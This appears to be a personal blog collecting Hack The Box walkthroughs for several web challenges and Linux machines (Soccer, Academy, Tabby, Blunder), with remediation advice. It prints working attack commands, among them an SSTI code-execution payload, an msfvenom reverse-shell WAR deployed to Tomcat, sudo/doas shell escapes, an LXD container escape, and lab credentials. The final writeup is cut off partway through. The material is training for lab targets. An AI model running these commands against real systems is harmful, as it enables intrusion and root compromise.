kami@kali:~$ journalctl

Spookifier writeup

Spookifier writeup

Challenge name: Sppokifier

Difficulty: Very Easy

Challenge Scenario: There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

Link: https://app.hackthebox.com/challenges/Spookifier?tab=play_challenge

Machine IP: 154.57.164.78:30968

Navigated to the site. Right away when just submitting ‘test’ I thought maybe there would be LFI.

Downloaded the files with the challenge to dive deeper. Unzipped it.

Read the files, util.py is the most interesting.

cat web_spookifier/challenge/application/util.py

Font 4 in the file also just mirrors what we input. With this vulnerable code we can get code execution. I was able to see command injection with ${7*7}. After a lot of testing I eventually was able to get the flag running:

${__import__(‘os’).popen(‘cat flag.txti’).read()}

GG
Flag Command writeup

Flag Command writeup

Challenge name: Flag Command

Difficulty: Very Easy

Challenge Scenario: Embark on the “Dimensional Escape Quest” where you wake up in a mysterious forest maze that’s not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

Link: https://app.hackthebox.com/challenges/Flag%2520Command?tab=play_challenge

Machine IP: 154.57.164.76:30990

Navigated to the site. It’s a site of an OG text RPG.

Checked source code and there’s mention of a few scripts, commands, main, game.

I curled each file to see if I could read them and I could.

curl http://154.57.164.76:30990/static/terminal/js/main.js

In main.js I saw that there was some secret and a mention of /api/monitor.

I went to /api/monitor but nothing important was there. Instead I went to /api/monitor and there is a secret command for the game.

Started the game and put that in and we got the flag.

GG
El Pipo

El Pipo writeup

Challenge name: El Pipo

Difficulty: Very Easy

Challenge Scenario: An ancient spirit, El Pipo, has taken control of this place. Face your fears and try to drive it away with your most vicious scream!

Link: https://app.hackthebox.com/challenges/El%2520Pipo?tab=play_challenge

Machine IP: 154.57.164.78:32426

Brought us to a webpage with an input form.

Checked source code and I can see the javascript that sends it to the server.

Considering the name, I was playing with pipes to run a command on the server but I wasn’t getting anything back. Eventually I wanted to test if I could run curl and I got the flag curling a webhook.

GG
Soccer writeup
Soccer writeup

Box name: Soccer

Difficulty: Easy

OS: Linux

Overview: Soccer is an easy difficulty Linux machine that features a foothold based on default credentials, forfeiting access to a vulnerable version of the Tiny File Manager, which in turn leads to a reverse shell on the target system (CVE-2021-45010). Enumerating the target reveals a subdomain which is vulnerable to a blind SQL injection through websockets. Leveraging the SQLi leads to dumped SSH credentials for the player user, who can run dstat using doas- an alternative to sudo. By creating a custom Python plugin for doas, a shell as root is then spawned through the SUID bit of the doas binary, leading to fully escalated privileges.

Link: https://app.hackthebox.com/machines/519?sort_by=created_at&sort_type=desc

Machine IP: 10.129.34.94

Ran rustscan against the machine.

rustscan -a 10.129.34.94 –ulimit 5000 -b 2000 — -A -Pn

Any interesting port 9091 is open that I have not seen before. I’ll check out the webserver first anyways. Added soccer.htb to /etc/hosts.

Ran ffuf and feroxbuster.

ffuf -u http://soccer.htb -H “Host: FUZZ.soccer.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

feroxbuster -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

Ffuf found nothing. Feroxbuster found something called Tiny File Manager.

Looked up default creds and I was able to get in with admin:admin@123

Version bottom right, Tiny File Manager 2.4.3. Searched exploits, looks like its vulnerable to CVE-2021-45010. Found a github exploit https://github.com/febinrev/tinyfilemanager-2.4.3-exploit. I played with this script but it didn’t work. Instead I will try taking advantage of the vulnerability manually. Created a PHP rev shell from https://www.revshells.com/. I was only able to upload in /tiny/uploads directory.

Triggered it and we get a shell.

Stabilized my shell. At /home there is a player account so we can not get user.txt just yet. Poked around I read out tinyfilemanager.php and I found the creds we used and possible creds for player.

Neither worked. Moved over linpeas to the device. The only thing I could find that was interesting was doas SUID bit is set but thats for player.

Couldn’t find anything to get creds for player just yet. I saw some mentions of soc-player.soccer.htb from linpeas though. Added that to etc/hosts (interesting as ffuf didn’t find anything earlier). It looks almost identical to the original site but has a login and signup button.

Created a test account kami@kami.com:kami and it brought me to this page when logging in.

In source code this is connected to that port 9091 we saw earlier. I got stuck here so I referred to the writeup. It turns out using BurpSuite using repeater we can find out that it is vulnerable to SQL injection. We can dump the database then the accounts in the database. I will need to brush up on sqlmap.

player:PlayerOftheMatch2022

Then we can ssh into his account and get user.txt.

We saw doas/dstat earlier from linpeas. Check GTFObins https://gtfobins.org/gtfobins/dstat/#inherit. It can inherit from python. Created a python script to create a bash shell.

echo ‘import os; os.system(“/bin/bash”)’ > /usr/local/share/dstat/dstat_pwn.py

Made sure dstat sees it.

doas /usr/bin/dstat –list

Ran it.

doas /usr/bin/dstat –pwn

We got root and read root.txt.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 9091 (unknown). Added soccer.htb to /etc/hosts. Browsed to the web server and ran feroxbuster and ffuf for directory and VHOST enumeration. Feroxbuster discovered a Tiny File Manager installation. ffuf found no additional subdomains at this stage.

rustscan -a 10.129.34.94 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://soccer.htb -H “Host: FUZZ.soccer.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

2 – Tiny File Manager default credentials and PHP webshell upload – CVE-2021-45010 Found Tiny File Manager 2.4.3 accessible on the web server. Tried default credentials and gained access. Researched CVE-2021-45010 and attempted the public exploit but it did not work. Manually exploited the vulnerability by uploading a PHP reverse shell to the /tiny/uploads directory. Triggered the shell and obtained a foothold as www-data.

Credentials: admin:admin@123

3 – Subdomain discovery and blind WebSocket SQL injection Stabilized the shell and ran LinPEAS. Found a reference to soc-player.soccer.htb and noted dstat had the SUID bit set but was only useful for the player user. Added soc-player.soccer.htb to /etc/hosts. The subdomain had a login and signup page. Created a test account and found the ticket checking feature connected to port 9091 via WebSockets. Used Burp Suite repeater to test for SQL injection and confirmed the ticket ID parameter was vulnerable to blind SQLi over the WebSocket connection. Used sqlmap to dump the database and extract credentials for the player account.

Credentials recovered: player:PlayerOftheMatch2022

4 – SSH access and user flag SSH’d in as player and retrieved user.txt.

5 – Privilege Escalation – doas dstat plugin injection Confirmed player could run dstat via doas. Checked GTFOBins and found dstat loads Python plugins from /usr/local/share/dstat. Created a malicious dstat plugin that spawned a bash shell, verified dstat recognized it, and executed it via doas to obtain a root shell. Retrieved root.txt.

echo ‘import os; os.system(“/bin/bash”)’ > /usr/local/share/dstat/dstat_pwn.py doas /usr/bin/dstat –pwn

Key Takeaways
1. Default credentials on Tiny File Manager – CVE-2021-45010 (CVSS 8.8 High) – Tiny File Manager 2.4.3 was accessible with the well-known default credentials admin:admin@123, providing immediate authenticated access. Default credentials must be changed before any application is deployed and file manager applications must require strong unique authentication.
2. Tiny File Manager allowing PHP file upload to web root – The file manager permitted uploading arbitrary PHP files to a web-accessible directory, enabling direct webshell deployment. File managers must restrict uploadable file types via a strict allowlist and must not allow execution of uploaded files. Upload directories must be outside the web root or configured to deny script execution.
3. Blind SQL injection over WebSocket – CWE-89 – The ticket checking feature passed user-supplied input directly to a SQL query over a WebSocket connection without sanitization. WebSocket endpoints are frequently overlooked in security testing but must be subject to the same input validation requirements as HTTP endpoints. All database queries must use parameterized statements.
4. Weak password on player account – The player account password was a descriptive phrase that was recoverable from the dumped database hash. All user account passwords must meet complexity requirements that resist offline cracking and dictionary attacks.
5. doas dstat rule allowing plugin code execution as root – Player could run dstat via doas and the plugin directory was writable, allowing arbitrary Python code to be loaded and executed as root. Sudo and doas rules granting access to tools that load code from user-writable directories are equivalent to unrestricted root access and must never be granted.
Remediation

[Immediate] Change default credentials and patch Tiny File Manager – CVE-2021-45010 (CVSS 8.8 High) Update Tiny File Manager to the latest patched version immediately and change the default admin credentials. Restrict access to the file manager to authorized administrators only via IP allowlist or VPN. If Tiny File Manager is not operationally required, remove it entirely.

[Immediate] Restrict file upload to non-executable file types Configure the file manager to deny uploads of PHP, PHTML, and all other executable script file types via a strict allowlist. Set the upload directory to deny script execution via web server configuration. Move the upload directory outside the web root where possible.

[Immediate] Remediate the WebSocket SQL injection vulnerability Rewrite all WebSocket message handlers to use parameterized queries or prepared statements for all database interactions. Conduct a full code review of all WebSocket endpoints for injection vulnerabilities. Deploy a WAF with SQL injection detection rules covering both HTTP and WebSocket traffic.

[Immediate] Restrict the dstat plugin directory permissions Set /usr/local/share/dstat to be owned and writable only by root. Remove write access for the player user and all other non-root accounts. Audit all directories from which privileged scripts or tools load code for non-root write access.

[Immediate] Remove or restrict the doas dstat rule Remove the doas rule allowing player to run dstat as root. If dstat access is operationally required, restrict it to specific arguments that do not load plugins and verify no user-writable plugin directory is in the search path. Test all doas and sudo rules against GTFOBins before deployment.

[Short-term] Enforce strong passwords for all application and OS accounts The player password was recovered from a database dump. Enforce a minimum password length of 14 characters with complexity for all accounts. Audit existing account passwords against common wordlists and force resets where weak passwords are identified.

[Long-term] Implement WebSocket security testing as part of the application security program WebSocket endpoints are commonly missed in security assessments. Ensure all penetration tests explicitly cover WebSocket connections for injection, authentication bypass, and authorization flaws. Include WebSocket input validation in the secure development lifecycle and code review checklist.
Academy writeup
Academy writeup

Box name: Academy

Difficulty: Easy

OS: Linux

Overview: Academy is an easy difficulty Linux machine that features an Apache server hosting a PHP website. The website is found to be the HTB Academy learning platform. Capturing the user registration request in Burp reveals that we are able to modify the Role ID, which allows us to access an admin portal. This reveals a vhost, that is found to be running on Laravel. Laravel debug mode is enabled, the exposed API Key and vulnerable version of Laravel allow us carry out a deserialization attack that results in Remote Code Execution. Examination of the Laravel .env file for another application reveals a password that is found to work for the cry0l1t3 user, who is a member of the adm group. This allows us to read system logs, and the TTY input audit logs reveals the password for the mrb3n user. mrb3n has been granted permission to execute composer as root using sudo, which we can leverage in order to escalate our privileges.

Link: https://app.hackthebox.com/machines/Academy?sort_by=created_at&sort_type=desc

Machine IP: 10.129.39.22

Ran rustscan against the machine.

rustscan -a 10.129.39.22 –ulimit 5000 -b 2000 — -A -Pn

Added academy.htb to /etc/hosts. Navigated to the site, it looks like an old HTB Academy site. There’s a /login.php and /register.php.

Registered with a test account kami:kami and I could log in. It looks exactly like Academy lol, this might be a sign for me to spend more time in academy.

It’s not quite that interactive though. Ran feroxbuster.

feroxbuster -u http://academy.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

This found a /admin.php for us.

We unfortunately don’t have access. After poking around and reviewing how we register accounts in Burp we can see a role id parameter when creating. Set that to 1 to create another account.

For some reason it wasn’t working through Burp. I sent a curl instead.

curl -s -L -X POST http://academy.htb/register.php -H “Cookie: PHPSESSID=bpumebq1tplvg11mj467c34fd1” -H “Content-Type: application/x-www-form-urlencoded” –data “uid=kami5&password=kami5&confirm=kami5&roleid=1”

And I was able to log in.

This mentions a dev-staging-01.academy.htb. Added it to /etc/hosts and navigated to it.

We can see a mention of Laravel. It looks like we couldn’t yet find a version. In Metasploit I found a possible exploit though.

Looked at the options. It asks for an APP_KEY and we can get that from the site. Filled out the options.

And I got a shell.

After poking around it looks like I found some creds.

Checked out possible users.

I was able to get into cry0l1t3 with that password mySup3rP4s5w0rd!!

It also looks like we are in the adm group which we can read logs.

In the logs we were eventually able to find mrb3n’s creds.

mrb3n:mrb3n_Ac@d3my!

As mrb3n, ran sudo -l for a quick win and we can run /usr/bin/composer as root.

Checked out GTFObins https://gtfobins.org/gtfobins/composer/#shell.

TF=$(mktemp -d)

echo ‘{“scripts”:{“x”:”/bin/sh -i 0<&3 1>&3 2>&3″}}’ >$TF/composer.json

sudo composer –working-dir=$TF run-script x

And we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 33060 (MySQL X Protocol). Added academy.htb to /etc/hosts. Browsed to the site and found a registration and login page modeled after HTB Academy. Ran feroxbuster and discovered an /admin.php endpoint.

rustscan -a 10.129.39.22 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://academy.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – Role ID manipulation and admin access Registered a test account and logged in. Intercepted the registration request in Burp and identified a hidden roleid parameter. Sending roleid=1 during registration created an admin account. Standard Burp interception had issues so used curl to send the modified request directly. Logged in with the admin account and accessed /admin.php which referenced a dev-staging-01.academy.htb vhost.

curl -s -L -X POST http://academy.htb/register.php –data “uid=kami5&password=kami5&confirm=kami5&roleid=1”

3 – Initial Access – Laravel deserialization RCE Added dev-staging-01.academy.htb to /etc/hosts and browsed to it. Found a Laravel application in debug mode exposing the APP_KEY. Identified a Metasploit module for Laravel deserialization. Set the APP_KEY and target options and executed the module to obtain a shell as www-data.

4 – Lateral movement – .env credential reuse Enumerated the filesystem and found a Laravel .env file for another application containing a plaintext password. Checked /etc/passwd for valid users and tried the password on cry0l1t3. Authentication succeeded. Retrieved user.txt and confirmed membership in the adm group allowing log file access.

Credentials recovered: cry0l1t3:mySup3rP4s5w0rd!!

5 – Lateral movement – TTY audit log credential capture Read system logs as a member of the adm group. Found TTY input audit logs containing mrb3n’s password entered on the command line during a previous session.

Credentials recovered: mrb3n:mrb3n_Ac@d3my!

6 – Privilege Escalation – composer sudo abuse Authenticated as mrb3n and ran sudo -l. Found mrb3n could run /usr/bin/composer as root. Used the GTFOBins composer technique to define a malicious script in a temporary composer.json and executed it via sudo to drop into a root shell. Retrieved root.txt.

TF=$(mktemp -d) echo ‘{“scripts”:{“x”:”/bin/sh -i 0<&3 1>&3 2>&3″}}’ >$TF/composer.json sudo composer –working-dir=$TF run-script x

Key Takeaways
1. Unvalidated role parameter in registration endpoint – The roleid parameter was accepted from user-supplied POST data with no server-side authorization check, allowing any registering user to grant themselves admin privileges. Role assignment must always be performed server-side based on authenticated context and must never be controlled by client-supplied input.
2. Laravel debug mode enabled in a staging environment – CVE-2018-15133 (CVSS 8.1 High) – The dev-staging-01 vhost had Laravel debug mode active, exposing the APP_KEY and detailed error output. The APP_KEY combined with a vulnerable Laravel version enabled a deserialization RCE attack. Debug mode must be disabled in all environments accessible from untrusted networks and APP_KEY must be rotated immediately if exposed.
3. Plaintext credentials in a .env file readable after foothold – The Laravel .env file contained a plaintext password that was reused for the cry0l1t3 OS account. Environment files must have restrictive permissions and must be excluded from any directory accessible by the web server process. Credentials in .env files must be unique and not reused for OS accounts.
4. Credentials captured in TTY audit logs – mrb3n’s password was captured in audit log files because it was passed on the command line during a previous session. Credentials must never be passed as command-line arguments and audit logs must be restricted to authorized security personnel only.
5. composer sudo rule enabling shell escape – mrb3n could run composer as root with no restrictions. GTFOBins documents composer’s scripts functionality as a reliable shell escape path. Sudo rules for package managers and build tools must never be granted as they are universally exploitable for privilege escalation.
Remediation

[Immediate] Enforce server-side role assignment Remove the roleid parameter from the registration form entirely. Role assignment must be performed server-side using a default unprivileged role for all new registrations. Admin role elevation must require an explicit administrative action by an existing privileged user through a protected endpoint.

[Immediate] Disable Laravel debug mode and rotate the APP_KEY – CVE-2018-15133 (CVSS 8.1 High) Set APP_DEBUG=false in all Laravel .env files across all environments immediately. Generate a new APP_KEY and rotate it across all affected applications. Debug mode must never be enabled on any environment reachable from untrusted networks. Restrict access to staging environments to authorized IP ranges via firewall rules.

[Immediate] Restrict .env file permissions and rotate exposed credentials Set all .env files to mode 600 owned by the application service account. Rotate the credentials found in the .env file immediately and ensure the new credentials are unique to that application. Audit all web application directories for world or group readable environment files.

[Immediate] Remove the composer sudo rule Delete the sudoers entry allowing mrb3n to run composer as root. Package managers, build tools, and script runners must never be granted via sudo as they provide trivial shell escape paths. Audit all sudo configurations against GTFOBins and remove any entries that permit known escalation techniques.

[Short-term] Restrict audit log access and eliminate command-line credential passing Restrict audit log files to authorized security personnel only. Implement a policy and technical controls preventing credentials from being passed as command-line arguments. Use secure credential injection methods such as environment variables set from a secrets manager or interactive prompts that do not appear in logs or process listings.

[Long-term] Implement environment segregation and a secure development lifecycle Staging environments must be treated with the same security controls as production including debug mode enforcement, access restrictions, and credential isolation. Integrate security testing into the development pipeline covering insecure parameter handling, debug mode detection, and .env file exposure. Conduct regular penetration tests covering all web applications and their associated infrastructure.
Tabby writeup
Tabby writeup

Box name: Tabby

Difficulty: Easy

OS: Linux

Overview: Tabby is a easy difficulty Linux machine. Enumeration of the website reveals a second website that is hosted on the same server under a different vhost. This website is vulnerable to Local File Inclusion. Knowledge of the OS version is used to identify the tomcat-users.xml file location. This file yields credentials for a Tomcat user that is authorized to use the /manager/text interface. This is leveraged to deploy of a war file and upload a webshell, which in turn is used to get a reverse shell. Enumeration of the filesystem reveals a password protected zip file, which can be downloaded and cracked locally. The cracked password can be used to login to the remote machine as a low privileged user. However this user is a member of the LXD group, which allows privilege escalation by creating a privileged container, into which the host&#039;s filesystem is mounted. Eventually, access to the remote machine is gained as root using SSH.

Link: https://app.hackthebox.com/machines/Tabby?sort_by=created_at&sort_type=desc

Machine IP: 10.129.38.255

Ran rustscan against the machine.

rustscan -a 10.129.38.255 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the site.

Nothing found in robots.txt or sourcecode. Clicked around nothing interesting right away. Running feroxbuster.

feroxbuster -u http://10.129.38.255 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

While this was happening, I looked at port 8080 and it is a Apache Tomcat server.

The last line of users are defined in /etc/tomcat9/tomcat-users.xml is interesting. I tried navigating and we get a version atleast.

When I on the original port 80 pages and clicked news I saw something that looked like a possible LFI. Did a bit of testing there but no luck.

No exploits found for Apache Tomcat/9.0.31. Since I had to add that to megahosting.htb to etc/hosts to see that page I fuzzed for vhosts with ffuf.

ffuf -u http://megahosting.htb -H “Host: FUZZ.megahosting.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302 -fs 14175

That didn’t find anything. I tried 8080 as well but nothing was found there. I went back to LFI as I realized I was doing that wrong. I was able to get to /etc/passwd so that definitely works.

User ash is interesting. Feroxbuster for the Apache server finished and we see /manager is interesting. Should’ve been able to guess this as its Tomcat.

From the error page I tried the default creds. I did a bunch of other testing but eventually I found myself stuck. I peaked at the writeup and the problem is I didn’t know exactly where tomcat-users.xml was but this was the right path. Doing research and with the information we have we could’ve deducted it lives at http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml.

And there is a password there tomcat:$3cureP4s5w0rd123!

When I tried logging in this page is only accessible from the same machine.

I was stuck here again so decided to just follow the writeup again. Apparently /manager/text allows us to run commands. Reset my machine, new IP 10.129.39.4. Created a war file.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.147 LPORT=4444 -f war -o shell.war

Deployed it.

curl -u ‘tomcat:$3cureP4s5w0rd123!’ “http://10.129.39.4:8080/manager/text/deploy?path=/shell” –upload-file shell.war

Set up a listener and triggered it and we got a shell.

curl http://10.129.39.4:8080/shell/

Stabilized my shell. Downloaded linpeas to the victim machine and ran it. It found an interesting backup file.

It’s password protected. I tried the password we have but it doesnt work. Will move it to my machine to see if we can crack with john.

cat /var/www/html/files/16162020_backup.zip| base64 -w 0;echo

The first time I tried it my terminal crashed because my computer sucks 🙂

Put the base64 in a file called tabby.

cat tabby | base64 -d > 16162020_backup.zip

Using zip2john.

zip2john 16162020_backup.zip > tabby.hash

john tabby.hash –wordlist=/usr/share/wordlists/rockyou.txt

Unzipped it.

unzip /var/www/html/files/16162020_backup.zip

Read through the files. The interesting file is news.php

I saw this on the normal site earlier. I was thinking about how I’d use this but I realized this is actually how we got our foothold lol. I tried the password admin@it just to su to ash and that actually worked and got user.txt.

Can’t run sudo -l for an easy win. Ran linpeas as ash. Our groups actually look interesting.

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder/

./build-alpine

Hosted it on a php server.

php -S 0.0.0.0:8000

Downloaded it to the machine.

wget http://10.10.16.147:8000/alpine-v3.23-x86_64-20260516_1058.tar.gz

/snap/bin/lxd init –auto

/snap/bin/lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz –alias alpine

/snap/bin/lxc init alpine privesc -c security.privileged=true

/snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

/snap/bin/lxc start privesc

/snap/bin/lxc exec privesc — /bin/sh

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 8080 (HTTP). Browsed to port 80 and found a web application. Nothing useful in robots.txt or source code. Port 8080 revealed an Apache Tomcat 9.0.31 instance. Added megahosting.htb to /etc/hosts. Ran feroxbuster against both ports and ffuf for VHOST enumeration.

rustscan -a 10.129.38.255 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.38.255 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – LFI and Tomcat credential extraction Found a news.php page with a file parameter that looked like a possible LFI. Confirmed LFI by reading /etc/passwd and identified a user named ash. Researched the Tomcat version and OS to determine the tomcat-users.xml path. Used the LFI to read the file and recovered Tomcat credentials.

http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

Credentials recovered: tomcat:$3cureP4s5w0rd123!

3 – Initial Access – Tomcat WAR file deployment The /manager web interface was restricted to localhost only. Used the /manager/text endpoint which allowed remote deployment. Generated a Java reverse shell WAR file with msfvenom, deployed it via curl with the Tomcat credentials, and triggered it to obtain a shell as the tomcat user.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.147 LPORT=4444 -f war -o shell.war curl -u ‘tomcat:$3cureP4s5w0rd123!’ “http://10.129.39.4:8080/manager/text/deploy?path=/shell” –upload-file shell.war curl http://10.129.39.4:8080/shell/

4 – Password cracking and lateral movement Ran LinPEAS and found a password-protected zip backup file at /var/www/html/files/16162020_backup.zip. Exfiltrated it via base64 encoding, decoded it locally, and cracked the zip password with zip2john and John the Ripper. Extracted the archive and found news.php confirming the LFI source. Tried the zip password on the ash account and it worked. Retrieved user.txt.

zip2john 16162020_backup.zip > tabby.hash john tabby.hash –wordlist=/usr/share/wordlists/rockyou.txt

Credentials recovered: ash:admin@it

5 – Privilege Escalation – LXD group container escape Ran LinPEAS as ash and found membership in the lxd group. Built an Alpine Linux image locally using lxd-alpine-builder, transferred it to the target, initialized LXD, and created a privileged container with the host filesystem mounted at /mnt/root. Executed into the container as root and accessed the full host filesystem to retrieve root.txt.

/snap/bin/lxc init alpine privesc -c security.privileged=true /snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true /snap/bin/lxc start privesc /snap/bin/lxc exec privesc — /bin/sh

Key Takeaways
1. Local File Inclusion in news.php – The file parameter in news.php passed user input directly to a file read function with no path validation, allowing traversal to arbitrary files on the server including sensitive configuration files. All file path inputs must be validated against a strict allowlist and must never allow directory traversal sequences.
2. Tomcat credentials in a readable configuration file – The tomcat-users.xml file contained plaintext credentials for the manager-script role which were accessible via the LFI. Tomcat configuration files must have restrictive permissions and must not be readable by the web application process or accessible through application vulnerabilities.
3. Tomcat manager text endpoint allowing remote WAR deployment – While the web manager GUI was restricted to localhost the text interface was accessible remotely with valid credentials, allowing deployment of arbitrary WAR files and achieving code execution. Both the GUI and text endpoints of the Tomcat manager must be restricted to localhost or a dedicated management network.
4. Password reuse between zip archive and OS account – The password cracked from the backup zip file was reused for the ash OS account, turning an offline cracking exercise into interactive SSH access. Passwords must be unique across all accounts and assets without exception.
5. LXD group membership enabling full host filesystem access – Membership in the lxd group is equivalent to root access as it allows creating privileged containers with host filesystem mounts. The lxd group must be treated as a privileged group and membership must be restricted to administrators with an explicit operational requirement.
Remediation

[Immediate] Remediate the LFI vulnerability in news.php Rewrite the file inclusion logic to use an allowlist of permitted file names or identifiers rather than passing user input directly to a file read function. Block all directory traversal sequences at the input validation layer and deploy a WAF rule to detect and block path traversal attempts.

[Immediate] Restrict Tomcat manager endpoints Configure the Tomcat manager application to restrict access to localhost only for both the GUI and text interfaces by setting the RemoteAddrValve in context.xml. If remote manager access is operationally required, restrict it to a specific management IP and require strong unique credentials with MFA.

[Immediate] Rotate Tomcat credentials and restrict tomcat-users.xml permissions Rotate the Tomcat manager credentials immediately. Set tomcat-users.xml to be readable only by the Tomcat service account using mode 600. Audit all Tomcat configuration files for world or group readable permissions and correct them.

[Immediate] Restrict LXD group membership Audit all members of the lxd group and remove any accounts that do not have an explicit operational requirement. Treat lxd group membership as equivalent to root access and apply the same access controls and justification requirements. Monitor group membership changes via audit logging.

[Short-term] Enforce unique passwords across all accounts The zip archive password was reused for the ash OS account. Enforce a policy requiring unique passwords per account and per asset. Conduct a credential audit to identify shared passwords and force resets where reuse is found.

[Short-term] Remove sensitive backup files from the web root The backup zip file was stored in /var/www/html/files and was accessible via the web server. Backup files must never be stored in web-accessible directories. Implement a backup policy storing all archives in a dedicated location accessible only to authorized backup administrators.

[Long-term] Implement application security testing and a hardening baseline for web applications and Tomcat deployments Define a hardening standard for all Tomcat deployments covering manager endpoint restrictions, configuration file permissions, credential storage, and WAR deployment controls. Include LFI testing, path traversal, and authentication bypass in regular web application penetration tests. Conduct recurring audits of privileged group memberships across all Linux hosts.
Blunder writeup
Blunder writeup

Box name: Blunder

Difficulty: Easy

OS: Linux

Overview: Blunder is an Easy difficulty Linux machine that features a Bludit CMS instance running on port 80. The website contains various facts about different genres. Using GoBuster, we identify a text file that hints to the existence of user fergus, as well as an admin login page that is protected against brute force. An exploit that bypasses the brute force protection is identified, and a dictionary attack is run against the login form. This attack grants us access to the admin panel as fergus. A GitHub issue detailing an arbitrary file upload and directory traversal vulnerability is identified, which is used to gain a shell as www-data. The system is enumerated and a newer version of the Bludit CMS is identified in the /var/www folder. The updated version contains the SHA1 hash of user hugo&#039;s password. The password can be cracked online, allowing us to move laterally to this user. Enumeration reveals that the user can run commands as any system user apart from root using sudo. The sudo binary is identified to be outdated, and vulnerable to CVE-2019-14287. Successful exploitation of this vulnerability returns a root shell.

Link: https://app.hackthebox.com/machines/Blunder?sort_by=created_at&sort_type=desc

Machine IP: 10.129.95.225

Ran rustscan against the machine.

rustscan -a 10.129.95.225 –ulimit 5000 -b 2000 — -A -Pn

Only got one port back, reran the scan incase. Checked out the http server. Looks like it brings us to a basic site.

Nothing interesting in sourcecode or robots.txt. I’ve been watching a lot of other youtube videos of people hacking Vulnhub boxes to see if I can pickup on other people’s methodology and they usually just check /admin or /administrator before kicking off a full directory busting. Did that and I found an admin webpage.

Nmap didn’t find anything new, checking UDP incase too.

nmap –top-ports 100 -sV -sU 10.129.95.225

Also ran feroxbuster anyways.

feroxbuster -u http://10.129.95.225/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Looked up default credentials, looks like it’s admin:admin but those didn’t work. Looked up exploits. Going back to source code on the /admin login We can see its 3.9.2.

Looked up exploits and found an auth bruteforce bypass https://www.exploit-db.com/exploits/48942. Created the script, only trying with admin, and ran it.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p /usr/share/wordlists/rockyou.txt

Nmap UDP didn’t find anything. While that goes I read more on the site. Since it mentions Stephen King I’m not sure if thats just a user name or just some lorem ipsum. That eventually crashed, I don’t think admin is the username. Tried with sking and I reran feroxbusterr to look for possible files in directories.

feroxbuster -u http://10.129.95.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –filter-status 404,400

After a huge while I could not find anything. Poked at the writeup to see if I was missing anything. Apparently there is a /todo.txt that none of my scans picked up at all and that has the user.

Reran the exploit.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p /usr/share/wordlists/rockyou.txt

This didn’t work. I created a wordlist from the website using cewl.

Cewl 10.129.95.225 > wordlist.txt

Ran the exploit again.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p wordlist.txt

And we finally got credentials.

fergus:RolandDeschain

Now that we are in I poked around but couldn’t find anything. I also saw RCE exploits earlier, I found this https://github.com/hg8/CVE-2019-16113-PoC. Copied the payload and edited these lines so it works for us.

Set up a listener and ran it (had to remove that extra space in the password).

And I got a shell.

Checked /home and we see two users.

Poked around to see if I could find credentials. I found this file but it was not useful.

Poked further and I found another bludit version though.

This ended up having creds for Hugo.

Crackstation cracked it right away.

hugo:Password120

Stabilized my shell then moved to hugo.

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Grabbed user.txt Ran sudo -l for quick win.

We can run bash except for root but we can take advantage of this.

sudo -u#-1 /bin/bash

And we get root.txt.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and only identified port 80 (HTTP). Rescanned to confirm and checked UDP with Nmap. Browsed to the web server and found a basic blog site. Nothing interesting in source code or robots.txt. Manually checked /admin before running full directory busting and found a Bludit CMS login page. Source code on the login page revealed version 3.9.2.

rustscan -a 10.129.95.225 –ulimit 5000 -b 2000 — -A -Pn nmap –top-ports 100 -sV -sU 10.129.95.225 feroxbuster -u http://10.129.95.225/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

